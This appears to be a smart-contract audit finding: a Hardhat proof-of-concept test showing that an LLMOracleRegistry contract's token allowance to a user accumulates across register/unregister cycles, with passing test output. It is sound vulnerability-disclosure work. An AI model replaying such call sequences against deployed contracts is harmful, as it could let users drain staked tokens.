Allowance could potentially be set higher than intended if multiple transactions are processed simultaneously.
import { expect } from "chai";
import { ethers, upgrades } from "hardhat";
import { LLMOracleRegistry, MockERC20 } from "../../typechain-types";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
describe("LLMOracleRegistry Allowance Vulnerability", function () {
let registry: LLMOracleRegistry;
let token: MockERC20;
let user1: SignerWithAddress;
const generatorStakeAmount = ethers.parseEther("100");
const validatorStakeAmount = ethers.parseEther("50");
beforeEach(async function () {
[user1] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockERC20");
token = await MockToken.deploy("Mock Token", "MTK");
await token.waitForDeployment();
const Registry = await ethers.getContractFactory("LLMOracleRegistry");
registry = (await upgrades.deployProxy(
Registry,
[generatorStakeAmount, validatorStakeAmount, await token.getAddress()],
{ initializer: "initialize" }
)) as unknown as LLMOracleRegistry;
await registry.waitForDeployment();
await token.mint(user1.address, ethers.parseEther("1000"));
});
it("demonstrates allowance accumulation", async function () {
const registryAsUser1 = registry.connect(user1);
const tokenAsUser1 = token.connect(user1);
await tokenAsUser1.approve(await registry.getAddress(), generatorStakeAmount * 2n);
await registryAsUser1.register(0);
const initialAllowance = await token.allowance(await registry.getAddress(), user1.address);
console.log("Initial allowance:", initialAllowance);
await registryAsUser1.unregister(0);
await tokenAsUser1.approve(await registry.getAddress(), generatorStakeAmount);
await registryAsUser1.register(0);
await registryAsUser1.unregister(0);
const finalAllowance = await token.allowance(await registry.getAddress(), user1.address);
console.log("Final allowance:", finalAllowance);
expect(finalAllowance).to.be.gt(generatorStakeAmount);
});
});
Initial allowance: 0n
Final allowance: 200000000000000000000n
LLMOracleRegistry Allowance Vulnerability
✔ demonstrates allowance accumulation
1 passing (3s)
Initial allowance: 0n
await tokenAsUser1.approve(await registry.getAddress(), generatorStakeAmount * 2n);
await registryAsUser1.register(0);
await registryAsUser1.unregister(0);
await tokenAsUser1.approve(await registry.getAddress(), generatorStakeAmount);
await registryAsUser1.register(0);
await registryAsUser1.unregister(0);
Final allowance: 200000000000000000000n